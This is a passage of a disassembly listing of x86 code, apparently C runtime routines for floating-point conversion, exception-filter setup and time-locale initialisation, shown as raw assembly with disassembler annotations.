[eax], 30h mov ecx, [ebp+var_4] add ecx, 1 mov [ebp+var_4], ecx loc_430374: ; CODE XREF: sub_430350+69j cmp [ebp+arg_4], 0 jle short loc_4303BB mov edx, [ebp+var_8] movsx eax, byte ptr [edx] test eax, eax jz short loc_430398 mov ecx, [ebp+var_8] movsx edx, byte ptr [ecx] mov [ebp+var_C], edx mov eax, [ebp+var_8] add eax, 1 mov [ebp+var_8], eax jmp short loc_43039F ; --------------------------------------------------------------------------- loc_430398: ; CODE XREF: sub_430350+32j mov [ebp+var_C], 30h loc_43039F: ; CODE XREF: sub_430350+46j mov ecx, [ebp+var_4] mov dl, byte ptr [ebp+var_C] mov [ecx], dl mov eax, [ebp+var_4] add eax, 1 mov [ebp+var_4], eax mov ecx, [ebp+arg_4] sub ecx, 1 mov [ebp+arg_4], ecx jmp short loc_430374 ; --------------------------------------------------------------------------- loc_4303BB: ; CODE XREF: sub_430350+28j mov edx, [ebp+var_4] mov byte ptr [edx], 0 cmp [ebp+arg_4], 0 jl short loc_430404 mov eax, [ebp+var_8] movsx ecx, byte ptr [eax] cmp ecx, 35h jl short loc_430404 mov edx, [ebp+var_4] sub edx, 1 mov [ebp+var_4], edx loc_4303DB: ; CODE XREF: sub_430350+A5j mov eax, [ebp+var_4] movsx ecx, byte ptr [eax] cmp ecx, 39h jnz short loc_4303F7 mov edx, [ebp+var_4] mov byte ptr [edx], 30h mov eax, [ebp+var_4] sub eax, 1 mov [ebp+var_4], eax jmp short loc_4303DB ; --------------------------------------------------------------------------- loc_4303F7: ; CODE XREF: sub_430350+94j mov ecx, [ebp+var_4] mov dl, [ecx] add dl, 1 mov eax, [ebp+var_4] mov [eax], dl loc_430404: ; CODE XREF: sub_430350+75j ; sub_430350+80j mov ecx, [ebp+arg_0] movsx edx, byte ptr [ecx] cmp edx, 31h jnz short loc_430420 mov eax, [ebp+arg_8] mov ecx, [eax+4] add ecx, 1 mov edx, [ebp+arg_8] mov [edx+4], ecx jmp short loc_430446 ; --------------------------------------------------------------------------- loc_430420: ; CODE XREF: sub_430350+BDj mov eax, [ebp+arg_0] add eax, 1 push eax call sub_41AC70 add esp, 4 add eax, 1 push eax mov ecx, [ebp+arg_0] add ecx, 1 push ecx mov edx, [ebp+arg_0] push edx call sub_41F9A0 add esp, 0Ch loc_430446: ; CODE XREF: sub_430350+CEj mov esp, ebp pop ebp retn sub_430350 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_430450 proc near ; CODE XREF: sub_429980+1Ep ; sub_429B70+1Ep ... var_28 = word ptr -28h var_26 = byte ptr -26h var_24 = byte ptr -24h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = word ptr -4 arg_0 = byte ptr 8 arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 28h lea eax, [ebp+arg_0] push eax lea ecx, [ebp+var_C] push ecx call sub_4304D0 add esp, 8 lea edx, [ebp+var_28] push edx push 0 push 11h sub esp, 0Ch mov eax, esp mov ecx, [ebp+var_C] mov [eax], ecx mov edx, [ebp+var_8] mov [eax+4], edx mov cx, [ebp+var_4] mov [eax+8], cx call sub_433EA0 add esp, 18h mov edx, [ebp+arg_8] mov [edx+8], eax movsx eax, [ebp+var_26] mov ecx, [ebp+arg_8] mov [ecx], eax movsx edx, [ebp+var_28] mov eax, [ebp+arg_8] mov [eax+4], edx lea ecx, [ebp+var_24] push ecx mov edx, [ebp+arg_C] push edx call sub_41E550 add esp, 8 mov eax, [ebp+arg_8] mov ecx, [ebp+arg_C] mov [eax+0Ch], ecx mov eax, [ebp+arg_8] mov esp, ebp pop ebp retn sub_430450 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4304D0 proc near ; CODE XREF: sub_430450+Ep var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 1Ch mov [ebp+var_C], 80000000h mov word ptr [ebp+var_4], 0 mov eax, [ebp+arg_4] xor ecx, ecx mov cx, [eax+6] and ecx, 7FF0h sar ecx, 4 mov word ptr [ebp+var_14], cx mov edx, [ebp+arg_4] xor eax, eax mov ax, [edx+6] and eax, 8000h mov word ptr [ebp+var_18], ax mov ecx, [ebp+arg_4] mov edx, [ecx+4] and edx, 0FFFFFh mov [ebp+var_8], edx mov eax, [ebp+arg_4] mov ecx, [eax] mov [ebp+var_10], ecx mov edx, [ebp+var_14] and edx, 0FFFFh mov [ebp+var_1C], edx cmp [ebp+var_1C], 0 jz short loc_430547 cmp [ebp+var_1C], 7FFh jz short loc_43053F jmp short loc_43058A ; --------------------------------------------------------------------------- loc_43053F: ; CODE XREF: sub_4304D0+6Bj mov word ptr [ebp+var_4], 7FFFh jmp short loc_4305A5 ; --------------------------------------------------------------------------- loc_430547: ; CODE XREF: sub_4304D0+62j cmp [ebp+var_8], 0 jnz short loc_430574 cmp [ebp+var_10], 0 jnz short loc_430574 mov eax, [ebp+arg_0] mov dword ptr [eax+4], 0 mov ecx, [ebp+arg_0] mov dword ptr [ecx], 0 mov edx, [ebp+arg_0] mov word ptr [edx+8], 0 jmp loc_43062E ; --------------------------------------------------------------------------- loc_430574: ; CODE XREF: sub_4304D0+7Bj ; sub_4304D0+81j movsx eax, word ptr [ebp+var_14] add eax, 3C01h mov word ptr [ebp+var_4], ax mov [ebp+var_C], 0 jmp short loc_4305A5 ; --------------------------------------------------------------------------- loc_43058A: ; CODE XREF: sub_4304D0+6Dj mov cx, word ptr [ebp+var_14] sub cx, 3FFh mov word ptr [ebp+var_14], cx movsx edx, word ptr [ebp+var_14] add edx, 3FFFh mov word ptr [ebp+var_4], dx loc_4305A5: ; CODE XREF: sub_4304D0+75j ; sub_4304D0+B8j mov eax, [ebp+var_8] shl eax, 0Bh mov ecx, [ebp+var_C] or ecx, eax mov edx, [ebp+var_10] shr edx, 15h or ecx, edx mov eax, [ebp+arg_0] mov [eax+4], ecx mov ecx, [ebp+var_10] shl ecx, 0Bh mov edx, [ebp+arg_0] mov [edx], ecx loc_4305C9: ; CODE XREF: sub_4304D0+142j mov eax, [ebp+arg_0] mov ecx, [eax+4] and ecx, 80000000h test ecx, ecx jnz short loc_430614 mov edx, [ebp+arg_0] mov eax, [edx+4] shl eax, 1 mov ecx, [ebp+arg_0] mov edx, [ecx] and edx, 0 neg edx sbb edx, edx neg edx or eax, edx mov ecx, [ebp+arg_0] mov [ecx+4], eax mov edx, [ebp+arg_0] mov eax, [edx] shl eax, 1 mov ecx, [ebp+arg_0] mov [ecx], eax mov dx, word ptr [ebp+var_4] sub dx, 1 mov word ptr [ebp+var_4], dx jmp short loc_4305C9 ; --------------------------------------------------------------------------- loc_430614: ; CODE XREF: sub_4304D0+107j mov eax, [ebp+var_18] and eax, 0FFFFh mov ecx, [ebp+var_4] and ecx, 0FFFFh or eax, ecx mov edx, [ebp+arg_0] mov [edx+8], ax loc_43062E: ; CODE XREF: sub_4304D0+9Fj mov esp, ebp pop ebp retn sub_4304D0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_430640 proc near ; CODE XREF: sub_424CB0+6ADp ; sub_424CB0+6CFp ... push ebp mov ebp, esp push 2 call sub_420CA0 add esp, 4 pop ebp retn sub_430640 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_430650 proc near ; DATA XREF: sub_4306B0+3o ; seg002:00450410o ... arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, [ebp+arg_0] mov ecx, [eax] cmp dword ptr [ecx], 0E06D7363h jnz short loc_43067E mov edx, [ebp+arg_0] mov eax, [edx] cmp dword ptr [eax+10h], 3 jnz short loc_43067E mov ecx, [ebp+arg_0] mov edx, [ecx] cmp dword ptr [edx+14h], 19930520h jnz short loc_43067E call sub_42AB50 loc_43067E: ; CODE XREF: sub_430650+Ej ; sub_430650+19j ... cmp ds:dword_4EEC7C, 0 jz short loc_4306A5 mov eax, ds:dword_4EEC7C push eax call loc_430750 add esp, 4 test eax, eax jz short loc_4306A5 mov ecx, [ebp+arg_0] push ecx call ds:dword_4EEC7C jmp short loc_4306A7 ; --------------------------------------------------------------------------- loc_4306A5: ; CODE XREF: sub_430650+35j ; sub_430650+47j xor eax, eax loc_4306A7: ; CODE XREF: sub_430650+53j pop ebp retn 4 sub_430650 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4306B0 proc near ; DATA XREF: seg002:0043C028o push ebp mov ebp, esp push offset sub_430650 call ds:dword_4F12C8 ; SetUnhandledExceptionFilter mov ds:dword_4EEC7C, eax pop ebp retn sub_4306B0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4306D0 proc near ; DATA XREF: seg002:0043C040o push ebp mov ebp, esp mov eax, ds:dword_4EEC7C push eax call ds:dword_4F12C8 ; SetUnhandledExceptionFilter pop ebp retn sub_4306D0 endp ; --------------------------------------------------------------------------- align 10h loc_4306F0: ; CODE XREF: sub_429F90+9Ep ; sub_42A7A0+77p ... push ebp mov ebp, esp push ecx mov dword ptr [ebp-4], 1 mov eax, [ebp+0Ch] push eax mov ecx, [ebp+8] push ecx call near ptr 3D0000h aam 85h sal byte ptr [edi+eax-39h], 45h cld ; --------------------------------------------------------------------------- dd 0 ; --------------------------------------------------------------------------- mov eax, [ebp-4] mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- align 10h loc_430720: ; CODE XREF: sub_42A7A0+89p ; sub_42A7A0+EDp ... push ebp mov ebp, esp push ecx mov dword ptr [ebp-4], 1 mov eax, [ebp+0Ch] push eax mov ecx, [ebp+8] push ecx call near ptr 3D0000h fild dword ptr [ebp-38F88B40h] inc ebp cld ; --------------------------------------------------------------------------- dd 0 ; --------------------------------------------------------------------------- mov eax, [ebp-4] mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- align 10h loc_430750: ; CODE XREF: sub_42A7A0+1E2p ; sub_430650+3Dp push ebp mov ebp, esp push ecx mov dword ptr [ebp-4], 1 mov eax, [ebp+8] push eax call near ptr 3D0000h mov dword ptr [ebp-38F88B40h], 0FC45h ; --------------------------------------------------------------------------- dw 0 ; --------------------------------------------------------------------------- mov eax, [ebp-4] mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_430780 proc near ; CODE XREF: sub_42ABBEp push ebp mov ebp, esp push 0Ah call sub_42CB30 add esp, 4 push 16h call sub_42D300 add esp, 4 push 3 call sub_41D9F0 pop ebp retn sub_430780 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4307A0 proc near ; DATA XREF: seg002:00450574o var_4 = dword ptr -4 push ebp mov ebp, esp push ecx cmp ds:dword_4EEA7C, 0 jz loc_430841 push 48h push offset aInittime_c ; "inittime.c" push 2 push 0ACh push 1 call sub_41B270 add esp, 14h mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_4307DC mov eax, 1 jmp loc_430877 ; --------------------------------------------------------------------------- loc_4307DC: ; CODE XREF: sub_4307A0+30j mov eax, [ebp+var_4] push eax call sub_430880 add esp, 4 test eax, eax jz short loc_43080D mov ecx, [ebp+var_4] push ecx call sub_430E10 add esp, 4 push 2 mov edx, [ebp+var_4] push edx call sub_41B8F0 add esp, 8 mov eax, 1 jmp short loc_430877 ; --------------------------------------------------------------------------- loc_43080D: ; CODE XREF: sub_4307A0+4Aj mov eax, [ebp+var_4] mov ds:off_450F58, eax mov ecx, ds:dword_4EEC80 push ecx call sub_430E10 add esp, 4 push 2 mov edx, ds:dword_4EEC80 push edx call sub_41B8F0 add esp, 8 mov eax, [ebp+var_4] mov ds:dword_4EEC80, eax xor eax, eax jmp short loc_430877 ; --------------------------------------------------------------------------- loc_430841: ; CODE XREF: sub_4307A0+Bj mov ds:off_450F58, offset off_450F60 mov ecx, ds:dword_4EEC80 push ecx call sub_430E10 add esp, 4 push 2 mov edx, ds:dword_4EEC80 push edx call sub_41B8F0 add esp, 8 mov ds:dword_4EEC80, 0 xor eax, eax loc_430877: ; CODE XREF: sub_4307A0+37j ; sub_4307A0+6Bj ... mov esp, ebp pop ebp retn sub_4307A0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_430880 proc near ; CODE XREF: sub_4307A0+40p var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0Ch mov [ebp+var_C], 0 xor eax, eax mov ax, ds:word_4EECBA mov [ebp+var_4], eax xor ecx, ecx mov cx, ds:word_4EECBC mov [ebp+var_8], ecx cmp [ebp+arg_0], 0 jnz short loc_4308B2 or eax, 0FFFFFFFFh jmp loc_430E0B ; --------------------------------------------------------------------------- loc_4308B2: ; CODE XREF: sub_430880+28j mov edx, [ebp+arg_0] add edx, 4 push edx push 31h mov eax, [ebp+var_4] push eax push 1 call sub_435830 add esp, 10h mov ecx, [ebp+var_C] or ecx, eax mov [ebp+var_C], ecx mov edx, [ebp+arg_0] add edx, 8 push edx push 32h mov eax, [ebp+var_4] push eax push 1 call sub_435830 add esp, 10h mov ecx, [ebp+var_C] or ecx, eax mov [ebp+var_C], ecx mov edx, [ebp+arg_0] add edx, 0Ch push edx push 33h mov eax, [ebp+var_4] push eax push 1 call sub_435830 add esp, 10h mov ecx, [ebp+var_C] or ecx, eax mov [ebp+var_C], ecx mov edx, [ebp+arg_0] add edx, 10h push edx push 34h mov eax, [ebp+var_4] push eax push 1 call sub_435830 add esp, 10h mov ecx, [ebp+var_C] or ecx, eax mov [ebp+var_C], ecx mov edx, [ebp+arg_0] add edx, 14h push edx push 35h mov eax, [ebp+var_4] push eax push 1 call sub_435830 add esp, 10h mov ecx, [ebp+var_C] or ecx, eax mov [ebp+var_C], ecx mov edx, [ebp+arg_0] add edx, 18h push edx push 36h mov eax, [ebp+var_4] push eax push 1 call sub_435830 add esp, 10h mov ecx, [ebp+var_C] or ecx, eax mov [ebp+var_C], ecx mov edx, [ebp+arg_0] push edx push 37h mov eax, [ebp+var_4] push eax push 1 call sub_435830 add esp, 10h mov ecx, [ebp+var_C] or ecx, eax mov [ebp+var_C], ecx mov edx, [ebp+arg_0] add edx, 20h push edx push 2Ah mov eax, [ebp+var_4] push eax push 1 call sub_435830 add esp, 10h mov ecx, [ebp+var_C] or ecx, eax mov [ebp+var_C], ecx mov edx, [ebp+arg_0] add edx, 24h push edx push 2Bh mov eax, [ebp+var_4] push eax push 1 call sub_435830 add esp, 10h mov ecx, [ebp+var_C] or ecx, eax mov [ebp+var_C], ecx mov edx, [ebp+arg_0] add edx, 28h push edx push 2Ch mov eax, [ebp+var_4] push eax push 1 call sub_435830 add esp, 10h mov ecx, [ebp+var_C] or ecx, eax mov [ebp+var_C], ecx mov edx, [ebp+arg_0] add edx, 2Ch push edx push 2Dh mov eax, [ebp+var_4] push eax push 1 call sub_435830 add esp, 10h mov ecx, [ebp+var_C] or ecx, eax mov [ebp+var_C], ecx mov edx, [ebp+arg_0] add edx, 30h push edx push 2Eh mov eax, [ebp+var_4] push eax push 1 call sub_435830 add esp, 10h mov ecx, [ebp+var_C] or ecx, eax mov [ebp+var_C], ecx mov edx, [ebp+arg_0] add edx, 34h push edx push 2Fh mov eax, [ebp+var_4] push eax push 1 call sub_435830 add esp, 10h mov ecx, [ebp+var_C] or ecx, eax mov [ebp+var_C], ecx mov edx, [ebp+arg_0] add edx, 1Ch push edx push 30h mov eax, [ebp+var_4] push eax push 1 call sub_435830 add esp, 10h mov ecx, [ebp+var_C] or ecx, eax mov [ebp+var_C], ecx mov edx, [ebp+arg_0] add edx, 38h push edx push 44h mov eax, [ebp+var_4] push eax push 1 call sub_435830 add esp, 10h mov ecx, [ebp+var_C] or ecx, eax mov [ebp+var_C], ecx mov edx, [ebp+arg_0] add edx, 3Ch push edx push 45h mov eax, [ebp+var_4] push eax push 1 call sub_435830 add esp, 10h mov ecx, [ebp+var_C] or ecx, eax mov [ebp+var_C], ecx mov edx, [ebp+arg_0] add edx, 40h push edx push 46h mov eax, [ebp+var_4] push eax push 1 call sub_435830 add esp, 10h mov ecx, [ebp+var_C] or ecx, eax mov [ebp+var_C], ecx mov edx, [ebp+arg_0] add edx, 44h push edx push 47h mov eax, [ebp+var_4] push eax push 1 call sub_435830 add esp, 10h mov ecx, [ebp+var_C] or ecx, eax mov [ebp+var_C], ecx mov edx, [ebp+arg_0] add edx, 48h push edx push 48h mov eax, [ebp+var_4] push eax push 1 call sub_435830 add esp, 10h mov ecx, [ebp+var_C] or ecx, eax mov [ebp+var_C], ecx mov edx, [ebp+arg_0] add edx, 4Ch push edx push 49h mov eax, [ebp+var_4] push eax push 1 call sub_435830 add esp, 10h mov ecx, [ebp+var_C] or ecx, eax mov [ebp+var_C], ecx mov edx, [ebp+arg_0] add edx, 50h push edx push 4Ah mov eax, [ebp+var_4] push eax push 1 call sub_435830 add esp, 10h mov ecx, [ebp+var_C] or ecx, eax mov [ebp+var_C], ecx mov edx, [ebp+arg_0] add edx, 54h push edx push 4Bh mov eax, [ebp+var_4] push eax push 1 call sub_435830 add esp, 10h mov ecx, [ebp+var_C] or ecx, eax mov [ebp+var_C], ecx mov edx, [ebp+arg_0] add edx, 58h push edx push 4Ch mov eax, [ebp+var_4] push eax push 1 call sub_435830 add esp, 10h mov ecx, [ebp+var_C] or ecx, eax mov [ebp+var_C], ecx mov edx, [ebp+arg_0] add edx, 5Ch push edx push 4Dh mov eax, [ebp+var_4] push eax push 1 call sub_435830 add esp, 10h mov ecx, [ebp+var_C] or ecx, eax mov [ebp+var_C], ecx mov edx, [ebp+arg_0] add edx, 60h push edx push 4Eh mov eax, [ebp+var_4] push eax push 1 call sub_435830 add esp, 10h mov ecx, [ebp+var_C] or ecx, eax mov [ebp+var_C], ecx mov edx, [ebp+arg_0] add edx, 64h push edx push 4Fh mov eax, [ebp+var_4] push eax push 1 call sub_435830 add esp, 10h mov ecx, [ebp+var_C] or ecx, eax mov [ebp+var_C], ecx mov edx, [ebp+arg_0] add edx, 68h push edx push 38h mov eax, [ebp+var_4] push eax push 1 call sub_435830 add esp, 10h mov ecx, [ebp+var_C] or ecx, eax mov [ebp+var_C], ecx mov edx, [ebp+arg_0] add edx, 6Ch push edx push 39h mov eax, [ebp+var_4] push eax push 1 call sub_435830 add esp, 10h mov ecx, [ebp+var_C] or ecx, eax mov [ebp+var_C], ecx mov edx, [ebp+arg_0] add edx, 70h push edx push 3Ah mov eax, [ebp+var_4] push eax push 1 call sub_435830 add esp, 10h mov ecx, [ebp+var_C] or ecx, eax mov [ebp+var_C], ecx mov edx, [ebp+arg_0] add edx, 74h push edx push 3Bh mov eax, [ebp+var_4] push eax push 1 call sub_435830 add esp, 10h mov ecx, [ebp+var_C] or ecx, eax mov [ebp+var_C], ecx mov edx, [ebp+arg_0] add edx, 78h push edx push 3Ch mov eax, [ebp+var_4] push eax push 1 call sub_435830 add esp, 10h mov ecx, [ebp+var_C] or ecx, eax mov [ebp+var_C], ecx mov edx, [ebp+arg_0] add edx, 7Ch push edx push 3Dh mov eax, [ebp+var_4] push eax push 1 call sub_435830 add esp, 10h mov ecx, [ebp+var_C] or ecx, eax mov [ebp+var_C], ecx mov edx, [ebp+arg_0] add edx, 80h push edx push 3Eh mov eax, [ebp+var_4] push eax push 1 call sub_435830 add esp, 10h mov ecx, [ebp+var_C] or ecx, eax mov [ebp+var_C], ecx mov edx, [ebp+arg_0] add edx, 84h push edx push 3Fh mov eax, [ebp+var_4] push eax push 1 call sub_435830 add esp, 10h mov ecx, [ebp+var_C] or ecx, eax mov [ebp+var_C], ecx mov edx, [ebp+arg_0] add edx, 88h push edx push 40h mov eax, [ebp+var_4] push eax push 1 call sub_435830 add esp, 10h mov ecx, [ebp+var_C] or ecx, eax mov [ebp+var_C], ecx mov edx, [ebp+arg_0] add edx, 8Ch push edx push 41h mov eax, [ebp+var_4] push eax push 1 call sub_435830 add esp, 10h mov ecx, [ebp+var_C] or ecx, eax mov [ebp+var_C], ecx mov edx, [ebp+arg_0] add edx, 90h push edx push 42h mov eax, [ebp+var_4] push eax push 1 call sub_435830 add esp, 10h mov ecx, [ebp+var_C] or ecx, eax mov [ebp+var_C], ecx mov edx, [ebp+arg_0] add edx, 94h push edx push 43h mov eax, [ebp+var_4] push eax push 1 call sub_435830 add esp, 10h mov ecx, [ebp+var_C] or ecx, eax mov [ebp+var_C], ecx mov edx, [ebp+arg_0] add edx, 98h push edx push 28h mov eax, [ebp+var_4] push eax push 1 call sub_435830 add esp, 10h mov ecx, [ebp+var_C] or ecx, eax mov [ebp+var_C], ecx mov edx, [ebp+arg_0] add edx, 9Ch push edx push 29h mov eax, [ebp+var_4] push eax push 1 call sub_435830 add esp, 10h mov ecx, [ebp+var_C] or ecx, eax mov [ebp+var_C], ecx mov edx, [ebp+arg_0] add edx, 0A0h push edx push 1Fh mov eax, [ebp+var_8] push eax push 1 call sub_435830 add esp, 10h mov ecx, [ebp+var_C] or ecx, eax mov [ebp+var_C], ecx mov edx, [ebp+arg_0] add edx, 0A4h push edx push 20h mov eax, [ebp+var_8] push eax push 1 call sub_435830 add esp, 10h mov ecx, [ebp+var_C] or ecx, eax mov [ebp+var_C], ecx mov edx, [ebp+arg_0] add edx, 0A8h push edx push 1003h mov eax, [ebp+var_8] push eax push 1 call sub_435830 add esp, 10h mov ecx, [ebp+var_C] or ecx, eax mov [ebp+var_C], ecx mov eax, [ebp+var_C] loc_430E0B: ; CODE XREF: sub_430880+2Dj mov esp, ebp pop ebp retn sub_430880 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_430E10 proc near ; CODE XREF: sub_4307A0+50p ; sub_4307A0+7Cp ... arg_0 = dword ptr 8 push ebp mov ebp, esp cmp [ebp+arg_0], 0 jnz short loc_430E1E jmp loc_431119 ; --------------------------------------------------------------------------- loc_430E1E: ; CODE XREF: sub_430E10+7j push 2 mov eax, [ebp+arg_0] mov ecx, [eax+4] push ecx call sub_41B8F0 add esp, 8 push 2 mov edx, [ebp+arg_0] mov eax, [edx+8] push eax call sub_41B8F0 add esp, 8 push 2 mov ecx, [ebp+arg_0] mov edx, [ecx+0Ch] push edx call sub_41B8F0 add esp, 8 push 2 mov eax, [ebp+arg_0] mov ecx, [eax+10h] push ecx call sub_41B8F0 add esp, 8 push 2 mov edx, [ebp+arg_0] mov eax, [edx+14h] push eax call sub_41B8F0 add esp, 8 push 2 mov ecx, [ebp+arg_0] mov edx, [ecx+18h] push edx call sub_41B8F0 add esp, 8 push 2 mov eax, [ebp+arg_0] mov ecx, [eax] push ecx call sub_41B8F0 add esp, 8 push 2 mov edx, [ebp+arg_0] mov eax, [edx+20h] push eax call sub_41B8F0 add esp, 8 push 2 mov ecx, [ebp+arg_0] mov edx, [ecx+24h] push edx call sub_41B8F0 add esp, 8 push 2 mov eax, [ebp+arg_0] mov ecx, [eax+28h] push ecx call sub_41B8F0 add esp, 8 push 2 mov edx, [ebp+arg_0] mov eax, [edx+2Ch] push eax call sub_41B8F0 add esp, 8 push 2 mov ecx, [ebp+arg_0] mov edx, [ecx+30h] push edx call sub_41B8F0 add esp, 8 push 2 mov eax, [ebp+arg_0] mov ecx, [eax+34h] push ecx call sub_41B8F0 add esp, 8 push 2 mov edx, [ebp+arg_0] mov eax, [edx+1Ch] push eax call sub_41B8F0 add esp, 8 push 2 mov ecx, [ebp+arg_0] mov edx, [ecx+38h] push edx call sub_41B8F0 add esp, 8 push 2 mov eax, [ebp+arg_0] mov ecx, [eax+3Ch] push ecx call sub_41B8F0 add esp, 8 push 2 mov edx, [ebp+arg_0] mov eax, [edx+40h] push eax call sub_41B8F0 add esp, 8 push 2 mov ecx, [ebp+arg_0] mov edx, [ecx+44h] push edx call sub_41B8F0 add esp, 8 push 2 mov eax, [ebp+arg_0] mov ecx, [eax+48h] push ecx call sub_41B8F0 add esp, 8 push 2 mov edx, [ebp+arg_0] mov eax, [edx+4Ch] push eax call sub_41B8F0 add esp, 8 push 2 mov ecx, [ebp+arg_0] mov edx, [ecx+50h] push edx call sub_41B8F0 add esp, 8 push 2 mov eax, [ebp+arg_0] mov ecx, [eax+54h] push ecx call sub_41B8F0 add esp, 8 push 2 mov edx, [ebp+arg_0] mov eax, [edx+58h] push eax call sub_41B8F0 add esp, 8 push 2 mov ecx, [ebp+arg_0] mov edx, [ecx+5Ch] push edx call sub_41B8F0 add esp, 8 push 2 mov eax, [ebp+arg_0] mov ecx, [eax+60h] push ecx call sub_41B8F0 add esp, 8 push 2 mov edx, [ebp+arg_0] mov eax, [edx+64h] push eax call sub_41B8F0 add esp, 8 push 2 mov ecx, [ebp+arg_0] mov edx, [ecx+68h] push edx call sub_41B8F0 add esp, 8 push 2 mov eax, [ebp+arg_0] mov ecx, [eax+6Ch] push ecx call sub_41B8F0 add esp, 8 push 2 mov edx, [ebp+arg_0] mov eax, [edx+70h] push eax call sub_41B8F0 add esp, 8 push 2 mov ecx, [ebp+arg_0] mov edx, [ecx+74h] push edx call sub_41B8F0 add esp, 8 push 2 mov eax, [ebp+arg_0] mov ecx, [eax+78h] push ecx call sub_41B8F0 add esp, 8 push 2 mov edx, [ebp+arg_0] mov eax, [edx+7Ch] push eax call sub_41B8F0 add esp, 8 push 2 mov ecx, [ebp+arg_0] mov edx, [ecx+80h] push edx call sub_41B8F0 add esp, 8 push 2 mov eax, [ebp+arg_0] mov ecx, [eax+84h] push ecx call sub_41B8F0 add esp, 8 push 2 mov edx, [ebp+arg_0] mov eax, [edx+88h] push eax call sub_41B8F0 add esp, 8 push 2 mov ecx, [ebp+arg_0] mov edx, [ecx+8Ch] push edx call sub_41B8F0 add esp, 8 push 2 mov eax, [ebp+arg_0] mov ecx, [eax+90h] push ecx call sub_41B8F0 add esp, 8 push 2 mov edx, [ebp+arg_0] mov eax, [edx+94h] push eax call sub_41B8F0 add esp, 8 push 2 mov ecx, [ebp+arg_0] mov edx, [ecx+98h] push edx call sub_41B8F0 add esp, 8 push 2 mov eax, [ebp+arg_0] mov ecx, [eax+9Ch] push ecx call sub_41B8F0 add esp, 8 push 2 mov edx, [ebp+arg_0] mov eax, [edx+0A0h] push eax call sub_41B8F0 add esp, 8 push 2 mov ecx, [ebp+arg_0] mov edx, [ecx+0A4h] push edx call sub_41B8F0 add esp, 8 push 2 mov eax, [ebp+arg_0] mov ecx, [eax+0A8h] push ecx call sub_41B8F0 add esp, 8 loc_431119: ; CODE XREF: sub_430E10+9j pop ebp retn sub_430E10 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_431120 proc near ; DATA XREF: seg002:00450568o var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 8 mov [ebp+var_8], 0 xor eax, eax mov ax, ds:word_4EECB6 mov [ebp+var_4], eax cmp ds:dword_4EEA78, 0 jz loc_43129A push offset dword_4EEC84 push 0Eh mov ecx, [ebp+var_4] push ecx push 1 call sub_435830 add esp, 10h mov edx, [ebp+var_8] or edx, eax mov [ebp+var_8], edx push offset dword_4EEC88 push 0Fh mov eax, [ebp+var_4] push eax push 1 call sub_435830 add esp, 10h mov ecx, [ebp+var_8] or ecx, eax mov [ebp+var_8], ecx push offset dword_4EEC8C push 10h mov edx, [ebp+var_4] push edx push 1 call sub_435830 add esp, 10h mov ecx, [ebp+var_8] or ecx, eax mov [ebp+var_8], ecx mov edx, ds:dword_4EEC8C push edx call sub_4313D0 add esp, 4 cmp [ebp+var_8], 0 jz short loc_431209 push 2 mov eax, ds:dword_4EEC84 push eax call sub_41B8F0 add esp, 8 push 2 mov ecx, ds:dword_4EEC88 push ecx call sub_41B8F0 add esp, 8 push 2 mov edx, ds:dword_4EEC8C push edx call sub_41B8F0 add esp, 8 mov ds:dword_4EEC84, 0 mov ds:dword_4EEC88, 0 mov ds:dword_4EEC8C, 0 or eax, 0FFFFFFFFh jmp loc_4313C2 ; --------------------------------------------------------------------------- loc_431209: ; CODE XREF: sub_431120+8Fj mov eax, ds:off_451048 cmp dword ptr [eax], offset dword_451010 jz short loc_431250 push 2 mov ecx, ds:off_451048 mov edx, [ecx] push edx call sub_41B8F0 add esp, 8 push 2 mov eax, ds:off_451048 mov ecx, [eax+4] push ecx call sub_41B8F0 add esp, 8 push 2 mov edx, ds:off_451048 mov eax, [edx+8] push eax call sub_41B8F0 add esp, 8 loc_431250: ; CODE XREF: sub_431120+F4j mov ecx, ds:off_451048 mov edx, ds:dword_4EEC84 mov [ecx], edx mov eax, ds:off_451048 mov ecx, ds:dword_4EEC88 mov [eax+4], ecx mov edx, ds:off_451048 mov eax, ds:dword_4EEC8C mov [edx+8], eax mov ecx, ds:off_451048 mov edx, [ecx] mov al, [edx] mov ds:byte_44FD24, al mov ds:dword_44FD28, 1 xor eax, eax jmp loc_4313C2 ; --------------------------------------------------------------------------- loc_43129A: ; CODE XREF: sub_431120+1Fj push 2 mov ecx, ds:dword_4EEC84 push ecx call sub_41B8F0 add esp, 8 push 2 mov edx, ds:dword_4EEC88 push edx call sub_41B8F0 add esp, 8 push 2 mov eax, ds:dword_4EEC8C push eax call sub_41B8F0 add esp, 8 mov 